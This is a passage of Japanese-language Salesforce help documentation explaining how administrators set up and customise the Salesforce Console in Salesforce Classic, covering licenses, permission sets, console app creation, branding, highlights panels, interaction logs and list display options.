細は、「ユーティリティを使用した Lightning コンソールアプリケーションのカスタマイズ」および
「Lightning ページを使用した Lightning コンソールアプリケーションのカスタマイズ」を参照してくださ
い。

ユーザがコンソールから電話を受けたり、電話をかけたりできるようにしますか?

Open CTIを使用して、Salesforceをサードパーティのコンピュータテレフォニーインテグレーション (CTI) シス
テムと統合できます。詳細は、「Salesforce コールセンター」を参照してください。

コンソールをカスタマイズ、拡張、または他のシステムと統合しますか?

Salesforce コンソールをカスタマイズ、拡張、または他のシステムと統合するコンポーネントを作成します。
たとえば、ユーザが特定のページを表示したらサードパーティのアプリケーションまたはコンテンツを表
示するコンポーネントを作成できます。

エージェントコンソールとは?

Salesforce コンソールにより、エージェントコンソールで使用できるオプションや高度な技術が広がります。

関連トピック:

Salesforce コンソールの実装計画
Salesforce コンソールの実装のヒント
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Salesforce コンソールの実装のヒント
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

このヒントを確認し、コンソールの実装を最大限に活用してください。
一般的な実装のヒント

• コンソールは、Salesforce組織のすべてのセキュリティ設定および共有設定
に従います。

• 最高のパフォーマンスを得るために、コンソールユーザが Google Chrome™

ブラウザと RAM が 8 GB のマシンを採用することをお勧めします。32 ビッ
トシステムはメモリ制限の対象となります。追加した RAM を最大限に活
用するために、OS、ブラウザ共に 64 ビットバージョンを使用してくださ
い。

• Salesforce Classicコンソールでは、タブの制限を有効にすることで、パフォー
マンスをさらに向上できます。この機能を有効にするには、[設定] からア
プリケーションページに移動してコンソールを編集します。

• コンソールへの設定変更を確認するには、ブラウザを更新します。
Salesforce Console for Service の実装のヒント

• サービス用コンソールを使用するには、ユーザに Service Cloud ユーザ機能ライセンスが割り当てられて
いる必要があります。

• コンソールで Live Agent を使用するには、ユーザに Live Agent ユーザ機能ライセンスが割り当てられてい
る必要があります。

• Salesforce ナレッジが設定されている場合は、ナレッジサイドバーを有効にして、対応中のケースと共に
関連する記事が自動的に表示されるようにします。

関連トピック:

Salesforce コンソールの実装計画

Salesforce Classic の Salesforce コンソール

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic の Salesforce コンソールの使用を開始します。
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Salesforce コンソールのユーザインターフェース

Salesforce Classic のコンソールの機能を次に示します。
(1) ナビゲーションタブからオブジェクトやレコードを選択します。(2) レコードがリスト表示されます。この
リストは画面の左上に固定できます。(3) 選択したレコードが主タブに表示されます。タブでは一度に複数の
項目を作業できます。(4) 強調表示パネルにレコードに関連する主要な情報が表示されます。(5) レコード関連
項目がサブタブとして表示されます。サブタブでは、コンテキストを失うことなく関連情報間をすばやく切り
替えることができます。(6) フィードまたは詳細領域でコンテンツを参照および操作します。(7) サイドバーお
よびフッターでカスタムコンポーネントデータにアクセスします。

メモ: Lightning コンソールアプリケーションは、まだ Salesforce Classic コンソールアプリケーションと完全
に同じ機能を使用できるわけではありません。たとえば、キーボードショートカットやマクロなどの
Salesforce Classic コンソールアプリケーションの一部の機能は、Lightning コンソールアプリケーションでは
使用できません。
Salesforce Classic コンソールアプリケーションを Lightning Experience に移行することはできません。

Salesforce Classic の Salesforce コンソールの設定
セールス、サービス用のコンソールを設定したり、独自のビジネスニーズ用のコンソールを作成したりで
きます。
Salesforce Classic のコンソールの設定可能な機能
システム管理者は、コンソールのほとんどの機能を有効化し、データの表示方法と操作方法を設定する必
要があります。
Salesforce Classic でのカスタムコンポーネントを使用したコンソールのカスタマイズ
Salesforce コンソールをカスタマイズ、拡張、または他のシステムと統合するコンポーネントを作成します。
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Salesforce Classic の Salesforce コンソールの操作
コンソールの機能強化されたインターフェースを使用すると、より多くのレコードをより迅速に処理でき
ます。

関連トピック:

Salesforce Classic コンソールの制限事項

Salesforce Classic の Salesforce コンソールの設定
エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

セールス、サービス用のコンソールを設定したり、独自のビジネスニーズ用の
コンソールを作成したりできます。

Salesforce Classic の Salesforce Console for Service の設定
コンソールアプリケーションを作成してカスタマイズし、Service Cloud ユーザ
機能ライセンスをユーザに割り当てます。
Salesforce Classic のセールスコンソールの設定
コンソールを初めて有効化する場合は、Salesforce に連絡し、ユーザに適切な
権限セットライセンスとユーザ権限を割り当てます。
Salesforce Classic の Salesforce コンソールアプリケーションの設定
コンソールを作成するには、システム管理者がコンソールアプリケーション
を作成する必要があります。
Salesforce Classic の Salesforce コンソールのブランド設定
コンソールのヘッダーにカスタムロゴを追加し、ヘッダー、フッター、および主タブの色を指定すること
で、コンソールにブランドを設定できます。
Salesforce Classic コンソールを Lightning Experience のアプリケーションランチャーから非表示にする
デフォルトでは、Salesforce ClassicコンソールはLightning Experienceのアプリケーションランチャーに表示され
ます。これにより、コンソールユーザはすべてのコンソールアプリケーション (Salesforce Classic で作成され
たアプリケーションと Lightning Experience で作成されたアプリケーション) に UI を切り替えずにアクセスで
きます。Salesforce Classicコンソールへのアクセスを制限する必要がある場合は、この動作を変更できます。
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Salesforce Classic の Salesforce Console for Service の設定

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce Console for
Service を設定する
• 「アプリケーションの

カスタマイズ」

および

「Service Cloud ユー
ザ」

コンソールアプリケーションを作成してカスタマイズし、Service Cloud ユーザ機
能ライセンスをユーザに割り当てます。
1. すべてのオブジェクトの強調表示パネルをカスタマイズして有効化します。
2. コンソールアプリケーションを作成して、ユーザプロファイルに割り当てま

す。
3. 必要に応じて、サポートエージェント用に次の操作を実行します。

• コンソールにブランドを設定する。
• 固定表示リストの表示方法を選択する。
• ドメインをホワイトリストに追加する。
• 転送通知をカスタマイズする。
• キーボードショートカットをカスタマイズする。
• ナレッジサイドバーを有効化する。
• 相互関係ログを設定してユーザプロファイルに割り当てる。
• Live Agent (サービス用コンソールでのみ使用可能) を有効化する。

メモ: Live Agent の実装を設定してからコンソールに追加します。Live

Agentを既存のコンソールに追加する場合、コンソールをテストして
からエージェントにリリースします。サイドバーコンポーネントが
期待どおりに表示されることを確認してください。

4. ユーザに Service Cloud ユーザ機能ライセンスを割り当てます。

ヒント: 上級 Salesforce システム管理者または開発者は、コンソールコンポーネントを作成することや、
コードに Salesforce コンソールインテグレーションツールキットという API を使用して、サードパーティイ
ンテグレーションを追加したり、コンソールのカスタマイズを高いレベルに引き上げたりすることがで
きます。

関連トピック:

Salesforce コンソールの実装のヒント
Salesforce Classic のコンソールの設定可能な機能
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Service Cloud 機能ライセンスのユーザへの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

ユーザ権限

ユーザに Service Cloud
ユーザ機能ライセンスを
割り当てる
• 「内部ユーザの管理」

Service Cloud ユーザ機能ライセンスは、Salesforce コンソールなどの Salesforce の追
加機能をユーザに与えます。
ユーザにライセンスを割り当てる手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザ名の横にある [編集] をクリックします。
3. [Service Cloud ユーザ] を選択します。
4. [保存] をクリックします。

関連トピック:

Salesforce Classic の Salesforce Console for Service の設定

ローンチパッドテンプレートを使用した Service Cloud 機能の設定

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

わずか数回のクリックで Service Cloud の機能をテストしてリリースします。この
一連のテンプレートによって、時間を節約できるコンソール設定、サービス組
織に不可欠なレポートおよびダッシュボードなど、Service Cloud で人気の高いい
くつかの機能を設定できます。
テンプレートを使用するには、[設定] から、[クイック検索] ボックスに [ローン
チパッド] と入力します。

ヒント: 本番環境に影響を与えることなく新機能を確認するために、Sandbox

環境でローンチパッドを試してみることをお勧めします。
IE バージョン 9 以前では、ローンチパッドテンプレートがサポートされていませ
ん。

関連トピック:

Salesforce Classic の Salesforce Console for Service の設定
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Salesforce Classic のセールスコンソールの設定

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットライセンスを
割り当てる
• 「内部ユーザの管理」

Salesforce Console for Sales
を作成する
• 「アプリケーションの

カスタマイズ」

および

「セールスコンソー
ル」

コンソールを初めて有効化する場合は、Salesforce に連絡し、ユーザに適切な権
限セットライセンスとユーザ権限を割り当てます。
1. Salesforce に連絡して Salesforce 組織のセールス用コンソールを有効化します。
2. すべてのオブジェクトの強調表示パネルをカスタマイズして有効化します。
3. デフォルトでは、組織に「セールスコンソールユーザ」権限セットライセン

スがあります。この権限セットライセンスをユーザに割り当てます。割り当
て手順は、どの権限セットライセンスも同じです。

4. セールスコンソールユーザに Salesforce コンソールユーザ権限セットを割り当
てます。

5. 必要に応じて、営業担当者用に次の操作を実行します。
• コンソールにブランドを設定する。
• 固定表示リストの表示方法を選択する。
• ドメインをホワイトリストに追加する。
• 転送通知をカスタマイズする。
• キーボードショートカットをカスタマイズする。
• ナレッジサイドバーを有効化する。
• 相互関係ログを設定してユーザプロファイルに割り当てる。

6. コンソールアプリケーションを作成して、ユーザプロファイルに割り当てま
す。

ヒント: 上級Salesforceシステム管理者または開発者は、コンソールコンポー
ネントを作成することや、コードに Salesforce コンソールインテグレーショ
ンツールキットという API を使用して、サードパーティインテグレーション
を追加したり、コンソールのカスタマイズを高いレベルに引き上げたりす
ることができます。

関連トピック:

Salesforce コンソールの実装のヒント
Salesforce Classic のコンソールの設定可能な機能
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セールスコンソールユーザへの Salesforce コンソールユーザ権限セットの割り当て

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットを作成する
• 「ユーザの管理」

「セールスコンソールユーザ」権限セットライセンスをユーザに割り当てたら、
ユーザを「Salesforce コンソールユーザ」権限セットに割り当てます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. [Salesforce コンソールユーザ]を選択します。この標準権限セットはすでに自

動で作成されています。これは、セールスコンソール権限セットライセンス
に付属します。

3. [割り当ての管理] をクリックして、ユーザを権限セットに割り当てます。
代わりに「Salesforce コンソールユーザ」権限セットをコピーして、セールスコ
ンソールユーザをコピーに割り当てることもできます。

関連トピック:

ユーザへの権限セットライセンスの割り当て
Salesforce Classic のセールスコンソールの設定
Standard Permission Set
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Salesforce Classic の Salesforce コンソールアプリケーションの設定

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

および

「Service Cloud ユー
ザ」または「セールス
コンソール」

コンソールを作成するには、システム管理者がコンソールアプリケーションを
作成する必要があります。

段階的な手順 (「セールスコンソール」ユーザ権限または Service Cloud ユー
ザライセンスが必要です)

各コンソールは、Force.com アプリケーションメニューからユーザが選択するカ
スタムアプリケーションです。作成できるコンソールアプリケーションの数は、
Salesforce 組織のカスタムアプリケーションの制限によって異なります。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択して [次へ] をクリックします。
2. [新規]をクリックして [コンソール]を選択し、[次へ]をクリックします。必

要に応じて既存のコンソールをコピーするには、コンソールの詳細ページで
[コピー] をクリックします。コピーしたコンソールを保存した後に、コピー
した転送通知またはキーボードショートカットを更新できます。

3. アプリケーションの表示ラベルを入力し、[次へ] をクリックします。表示ラ
ベルは、スペースを含めて最大 40 文字まで指定できます。この表示ラベル
は、Force.comアプリケーションメニューに表示されるアプリケーションの名
前です。

4. 必要に応じて、カスタムロゴを追加します。[画像を挿入] をクリックし、ド
キュメントライブラリからファイル画像を選択して、[次へ] をクリックしま
す。

5. ナビゲーションタブに含める項目を選択し、[次へ] をクリックします。売上
予測、アイデア、アンサー、接続、ポータル、コンソール、活動 (ToDo と行
動)、アプリケーションランチャー、組織をカスタマイズするボタンは、ナビ
ゲーションタブに追加できません。タブ表示設定、および [各ユーザの「マ
イディスプレイのカスタマイズ」に変更を反映させる] 設定はナビゲーションタブに適用されません。たと
えば、ユーザプロファイルで [取引先] が [タブを隠す] になっている場合でも、ナビゲーションタブから
[取引先] にアクセスできます。

6. 主タブまたはサブタブから選択されていない項目の表示方法を選択し、[次へ] をクリックします。たとえ
ば、リストビュー、検索結果、または画面ポップから選択されたときに、ケースを親レコードの主タブと
サブタブのどちらとして表示するかを選択します。次の項目のいずれかをクリックします。
• [主タブとして] をクリックすると、オブジェクトのレコードは主タブとして表示されます。
• [次のサブタブとして]をクリックすると、オブジェクトのレコードはサブタブとして表示されます。ド

ロップダウンリストから、サブタブを表示する親レコードを選択します。たとえば、ケースを取引先責
任者のサブタブとして表示するには、[ケース] 行で [取引先責任者名] (取引先責任者) を選択します。親
レコードが適用されない場合は、サブタブが主タブとして表示されます。たとえば、キャンペーンを
リードのサブタブとしても、リードがキャンペーンに属していない場合は、そのキャンペーンは主タブ
として表示されます。

5141

Salesforce Classic の Salesforce コンソールの設定Salesforce コンソール

https://login.salesforce.com/services/walkthrough?path=/02u?setupid=TabSet&tour=salesforce-console-overview
https://login.salesforce.com/services/walkthrough?path=/02u?setupid=TabSet&tour=salesforce-console-overview


7. 必要に応じて、組織に Service Cloud と Live Agentがある場合は、[このアプリケーションに Live Agent を含
める] を選択し、[次へ] をクリックします。コンソールに Live Agent のチャットワークスペースを含めるよ
うに選択した場合は、次の指定ができます。
• チャットセッションのサブタブとして開くレコードまたはページを選択する。
• [Live Agent に Salesforce ナレッジの推奨記事を含める] を選択して、チャットワークスペースに

記事ツールを表示する。

8. Salesforce コンソールを、次のように、ユーザプロファイルに割り当てます。
a. アプリケーションを使用できるようにするユーザプロファイルを選択するには、[参照可能] チェック

ボックスをオンにします。
b. アプリケーションをそのプロファイルのデフォルトアプリケーションとして設定するには、[デフォル

ト]ボックスをオンにします。つまり、そのプロファイルを持つ新規ユーザの初回ログイン時にこのア
プリケーションが表示されます。制限のあるプロファイルは、このリストには含まれません。

9. [保存] をクリックします。

ヒント: コンソールへの設定変更を確認するには、ブラウザを更新します。

関連トピック:

Salesforce Classic の Salesforce Console for Service の設定
Salesforce Classic のセールスコンソールの設定
Salesforce Classic の Salesforce コンソールのブランド設定

Salesforce Classic の Salesforce コンソールのブランド設定

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce コンソールの色
を定義する
• 「アプリケーションの

カスタマイズ」

コンソールのヘッダーにカスタムロゴを追加し、ヘッダー、フッター、および
主タブの色を指定することで、コンソールにブランドを設定できます。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. コンソールの横にある [編集] をクリックします。
3. カスタムロゴを追加するには、[画像を挿入] をクリックして、ドキュメント

ライブラリから画像を選択します。
ドキュメントライブラリから Classic アプリケーションのカスタムアプリケー
ションのロゴを選択するときは、次の要件に留意してください。
• 画像は GIF または JPEG 形式で、20 KB 以下にする必要があります。
• 画像の幅が 300 ピクセル、高さが 55 ピクセルより大きい場合、適切なサ

イズに縮小されます。
• 画面上にきれいに表示されるように、背景を透明にした画像を使用する

ことをお勧めします。
• 画像をユーザに表示するには、そのドキュメントのプロパティで [外部参

照可] チェックボックスがオンになっている必要があります。

5142

Salesforce Classic の Salesforce コンソールの設定Salesforce コンソール



4. 色を指定するには、[ヘッダーの色]、[フッターの色]、または [主タブの色]に 16 進コードを入力します。
たとえば、ヘッダーの色を青として定義するには、#0000FF と入力します。

5. [保存] をクリックします。
正しい色が表示されることを検証するには、コンソールを参照します。

メモ: ヘッダーまたはフッターの色は、メタデータ API ではまだ定義できません。

Salesforce Classic コンソールを Lightning Experience のアプリケーションラン
チャーから非表示にする

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

および

「Service Cloud ユー
ザ」または「セールス
コンソール」

デフォルトでは、Salesforce Classic コンソールは Lightning Experience のアプリケー
ションランチャーに表示されます。これにより、コンソールユーザはすべての
コンソールアプリケーション (Salesforce Classic で作成されたアプリケーションと
Lightning Experienceで作成されたアプリケーション) に UI を切り替えずにアクセス
できます。Salesforce Classic コンソールへのアクセスを制限する必要がある場合
は、この動作を変更できます。
1. [設定] から、[クイック検索]ボックスに「アプリケーションメニュー」と入力

し、[アプリケーションメニュー] を選択します。
2. 利用可能なアプリケーションのリストから、[アプリケーションランチャーで

表示] または [アプリケーションランチャーで非表示] をクリックし、組織の
すべてのユーザに対してLightning Experienceのアプリケーションランチャーの
個々のアプリケーションを表示または非表示にします。
また、プロファイルを使用してユーザごとに Salesforce Classic コンソールへの
アクセス権を削除することもできます。
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Salesforce Classic のコンソールの設定可能な機能
エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce Console for
Service を設定する
• 「アプリケーションの

カスタマイズ」

Salesforce Console for Sales
をカスタマイズする
• 「アプリケーションの

カスタマイズ」

および

「セールスコンソール
ユーザ」

システム管理者は、コンソールのほとんどの機能を有効化し、データの表示方
法と操作方法を設定する必要があります。

メモ: Salesforce Classicコンソールアプリケーションの編集は、Salesforce Classic

で行う必要があります。[設定] から、[クイック検索] ボックスに「アプリ
ケーション」と入力し、[アプリケーション]を選択して、コンソールアプリ
ケーションの横にある [編集] をクリックします。

Console for Service で
使用可能

Console for Sales で使
用可能

自動的に有効化機能

強調表示パネル

コンソールのブラ
ンド設定

固定表示リスト

ユーザセッション
の保存

ブックマークおよ
び最近のタブ

キーボードショー
トカット

マルチモニターコ
ンポーネント

コンソールコン
ポーネント

ドメインのホワイ
トリスト登録

転送通知

反応型リスト

相互関係ログ

ソフトフォンイン
テグレーション

ナレッジサイド
バー

Knowledge One フッ
ター
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Live Agent

関連トピック:

Salesforce コンソール

Salesforce Classic のコンソールへの強調表示パネルの追加

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

および

「Service Cloud ユー
ザ」または「セールス
コンソール」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

強調表示パネルは、最大 4 列のカスタマイズ可能なテーブルで、コンソールの
各主タブの上部にあります。これによりユーザは主要情報を一目で確認できま
す。
強調表示パネルには、すでにページレイアウトに追加されている標準項目また
はカスタム項目を含めることができます。パネルごとに、項目を 1 ～ 4 列で表示
できます。各列の上部または下部に 1 つまたは 2 つの項目を設定します。
ユーザが強調表示パネルを表示すると、上部の項目は太字で、下部項目よりも
大きなフォントで表示されます。ユーザには参照する権限のある項目のみが表
示され、他の項目は空白になります。列のどちらの項目も空白のときは、列が
空白になります。
強調表示パネルをコンソールに表示するには、有効化する必要があります。
1. ページレイアウトを編集して、[レイアウトのプロパティ]をクリックします。
2. [強調表示パネル] をオンにして、[OK] をクリックします。
3. [保存] をクリックします。

Salesforce Classic のコンソールの強調表示パネルの設定
強調表示パネルは、最大 4 列のカスタマイズ可能なテーブルで、コンソール
の各主タブの上部にあります。コンソールユーザは主要情報を一目で確認で
きます。強調表示パネルを設定するには、任意のページレイアウトを編集し
ます。
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Salesforce Classic のコンソールの強調表示パネルの設定

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

および

「Service Cloud ユー
ザ」または「セールス
コンソール」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

強調表示パネルは、最大 4 列のカスタマイズ可能なテーブルで、コンソールの
各主タブの上部にあります。コンソールユーザは主要情報を一目で確認できま
す。強調表示パネルを設定するには、任意のページレイアウトを編集します。
強調表示パネルを編集するには、任意のページレイアウトのパネルの上にマウ
スポインタを置き、 をクリックするか、パネルをダブルクリックします。項
目を追加または変更するには、該当する列をクリックし、[最上位項目] および
[最下位項目] リストから項目を選択します。追加する項目が表示されない場合
は、最初に項目を詳細ページレイアウトに追加する必要があります。項目は各
強調表示パネルに 1 回表示できます。すでに使用中の項目は、項目選択リスト
でグレー表示されます。各強調表示パネルでは、リッチテキストエリア (RTA) 項
目、カスタムロングテキストエリア項目、トランスクリプトオブジェクトがサ
ポートされません。
項目を削除するには、該当する列をクリックして、項目リストから [-なし-] をク
リックします。列を追加するには、[列を追加]をクリックします。列を削除する
には、列の上にマウスポインタを置いて、 をクリックします。
強調表示パネルの変更を保存するには、[強調表示パネルのプロパティ] ダイアロ
グボックスで [OK] をクリックします。ページレイアウトの編集が終了したら、
[保存]をクリックします。強調表示パネルをコンソールに表示するには、有効化
する必要があります。

重要: [保存]をクリックする前にページレイアウトから移動すると、強調表
示パネルの変更が失われます。
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Salesforce Classic のコンソールの相互関係ログの設定

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

相互関係ログを設定する
• 「アプリケーションの

カスタマイズ」

相互関係ログでは、Salesforce コンソールユーザは主タブに表示されるレコード
に関するメモを作成できます。
たとえば、主タブにケースが表示される場合、ケースに関してユーザがメモで
きるように相互関係ログを表示することができます。複数の相互関係ログを作
成したり、相互関係ログをカスタマイズして、他のユーザが更新できるよう、
特定の ToDo 項目に表示したりできます。
1. [設定] から、[クイック検索]ボックスに「相互関係ログのレイアウト」と入力

し、[相互関係ログのレイアウト] を選択します。
2. [新規] をクリックします。
3. 相互関係ログに名前を付けます。
4. 相互関係ログに追加する ToDo の項目を選択して、[追加]をクリックします。

• * は、必須項目であることを示します。
• 相互関係ログに追加できるのは、編集可能な ToDo 項目のみです。
• [ここにメモの内容を入力してください...] 項目は、すべての相互関係ロ

グに自動的に追加され、削除することはできません。

5. この相互関係ログをすべてのユーザのデフォルトにするには、[デフォルトレイアウトとしての設定] を選
択します。
デフォルトの相互関係ログは削除できません。まず、他の相互関係ログを組織のデフォルトとしてマーク
してください。

6. [保存] をクリックします。
相互関係ログの設定またはカスタマイズを行った後、それをさまざまなユーザプロファイルに割り当て、有効
化して表示できます。

ヒント:  ToDo に対してカスタム項目を作成でき、その項目を相互関係ログに追加できます。たとえば、
[通話者の意向] 選択リスト (値は「怒り」、「中間」、「満足」) を作成できます。

Salesforce Classic のコンソールの相互関係ログの有効化
相互関係ログを表示するには、さまざまなユーザプロファイルに割り当てられているページレイアウトの
相互関係ログを有効化する必要があります。
Salesforce Classic での相互関係ログの割り当て
相互関係ログの設定またはカスタマイズを行った後、それをさまざまなユーザプロファイルに割り当てる
ことができます。
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Salesforce Classic のコンソールの相互関係ログの有効化

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

相互関係ログを有効化す
る
• 「アプリケーションの

カスタマイズ」

相互関係ログを表示するには、さまざまなユーザプロファイルに割り当てられ
ているページレイアウトの相互関係ログを有効化する必要があります。
1. ページレイアウトを編集して、[レイアウトのプロパティ]をクリックします。
2. [相互関係ログ] をオンにして、[OK] をクリックします。
3. [保存] をクリックします。

メモ: 相互関係ログの有効化または無効化を切り替える場合、レコードを
閉じてからもう一度開き、変更を表示する必要があります。

Salesforce Classic での相互関係ログの割り当て

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

相互関係ログを割り当て
る
• 「アプリケーションの

カスタマイズ」

相互関係ログの設定またはカスタマイズを行った後、それをさまざまなユーザ
プロファイルに割り当てることができます。
1. [設定] から、[クイック検索]ボックスに「相互関係ログのレイアウト」と入力

し、[相互関係ログのレイアウト] を選択します。
2. [ログレイアウトの割り当て] をクリックします。
3. 各ユーザプロファイルに割り当てる相互関係ログを選択します。
4. [保存] をクリックします。

メモ: ポータルユーザは Salesforce コンソールアプリケーションを使用でき
ないため、相互関係ログをポータルユーザプロファイルに割り当てること
はできません。

Salesforce Classic のコンソールの個人設定
ビジネスニーズに合わせてコンソールを設定できます。ニーズの変化に合わせて個人設定を調整できます。コ
ンソールの個人設定は [設定] で行います。
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Salesforce Classic の Salesforce コンソールでのリストの表示方法の選択
システム管理者は、リストがコンソールユーザにどう表示されるかを変更できます。
Salesforce Classic での反応型リストを使用した Salesforce コンソールのリストビューの最適化
反応型リストは動的にサイズ変更され、リストビューに最新のデザインを提供します。また、行のフロー
ト表示によってレコードを開かずにプレビューできます (省略可能)。
Salesforce Classic の Salesforce コンソールのユーザセッションの保存
システム管理者はユーザセッションを保存して、ユーザがブラウザを閉じたり、Salesforce からログアウト
した後で再度ログインしたときに、作業していた状態にすばやく戻れるようにすることができます。
Salesforce Classic の Salesforce コンソールのドメインのホワイトリスト登録
Salesforce システム管理者は、コンソールユーザに Salesforce 外部のドメインへのアクセスを許可できます。
たとえば、コンソールのホワイトリストに www.example.com を追加して、コンソールユーザがこのドメ
インにアクセスできるようにすることができます。
Salesforce Classic の Salesforce コンソールのキーボードショートカットのカスタマイズ
キーボードショートカットの作成またはカスタマイズして、ユーザがマウスを使用する代わりにキーを押
してアクションをすばやく実行できるようにします。
Salesforce Classic の Salesforce コンソールの転送通知の設定
システム管理者は、ユーザが操作中のレコードが他のユーザによって変更されたことを示すため、コンソー
ルの転送通知を設定できます。
Salesforce Classic の Salesforce コンソールでの履歴コンポーネントの有効化
コンソールが設定されている場合、履歴コンポーネントをフッターに追加すると、ユーザが Salesforce を検
索しなくても、最近使用した主タブやブックマークにすばやくアクセスできます。
Salesforce Classic の Salesforce コンソールのマルチモニターコンポーネントの有効化
コンソールが設定されている場合は、マルチモニターコンポーネントがオンになるため、コンソールの各
部分を画面の作業しやすい別の領域に移動できます。
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Salesforce Classic の Salesforce コンソールでのリストの表示方法の選択

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リストを表示する
• 「アプリケーションの

カスタマイズ」

システム管理者は、リストがコンソールユーザにどう表示されるかを変更でき
ます。
コンソールでは、次の 3 つのうちいずれかの方法でリストを表示できます。

説明リストタイプ

ナビゲーションタブが選択されている
場合に限り、リストが表示されます。
リストからレコードを選択すると、そ
のレコードは新しいタブで開かれま
す。

全画面、非固定

リストがページの上部に固定され、常
時表示されます。リストからレコード
を選択すると、そのレコードはリスト
の下にある新しいタブで開かれます。

上部に固定

リストがページの左側に固定され、常
時表示されます。リストからレコード

左に固定

を選択すると、そのレコードはリスト
の右側にある新しいタブに表示されま
す。

リストを表示する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「アプリケーション」と入力し、[アプリケーション]を選択します。
2. コンソールアプリケーションを選択します。
3. [編集] をクリックします。
4. リストの表示方法を選択します。固定表示リストを選択する場合は、デフォルトサイズをピクセル単位ま

たは画面領域に対するパーセントで指定します。
5. [保存] をクリックします。

関連トピック:

Salesforce Classic の Salesforce コンソールの固定表示リストのサイズ変更および最小化
Salesforce Classic のコンソールの設定可能な機能
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Salesforce Classic での反応型リストを使用した Salesforce コンソールのリストビューの最適
化

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

反応型リストは動的にサイズ変更され、リストビューに最新のデザインを提供
します。また、行のフロート表示によってレコードを開かずにプレビューでき
ます (省略可能)。
ここでは、反応型リストを有効にする手順を説明します。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. 変更するコンソールの名前を探して [編集] をクリックします。
3. [反応型リストを有効化] を選択します。
4. [保存] をクリックします。
オーバーレイにフロート表示される項目は、有効なリストビューの項目と同じ
です。表示される項目をカスタマイズするには、リストビューを編集するかカスタムリストビューを作成しま
す。リストビューに [編集]、[削除]、[新規ビューの作成] の各リンクを表示できるようにビューの幅を拡大する
必要があります。
リストのフロート表示についての詳細は、次のとおりです。
• ケースの場合は、[件名]項目にマウスポインタを置くとフロート表示されます。他のレコードの場合はす

べて、[名前] 項目にマウスポインタを置くとフロート表示されます。
• リストビューには [件名] 項目も [名前] 項目もないため、フロート表示されません。
• リストビューに追加できない場合でも、ケースのフロート表示の [説明] 項目を必ず確認します。
• IE バージョン 10 以前では、反応型リストがサポートされていません。

ヒント: 反応型リストの更新したデザインを保持し、フロート表示機能をオフにする場合は、コンソール
を編集し、[リストビューのフロート表示を有効化] を選択解除します。

関連トピック:

Salesforce Classic のコンソールの設定可能な機能
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Salesforce Classic の Salesforce コンソールのユーザセッションの保存

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

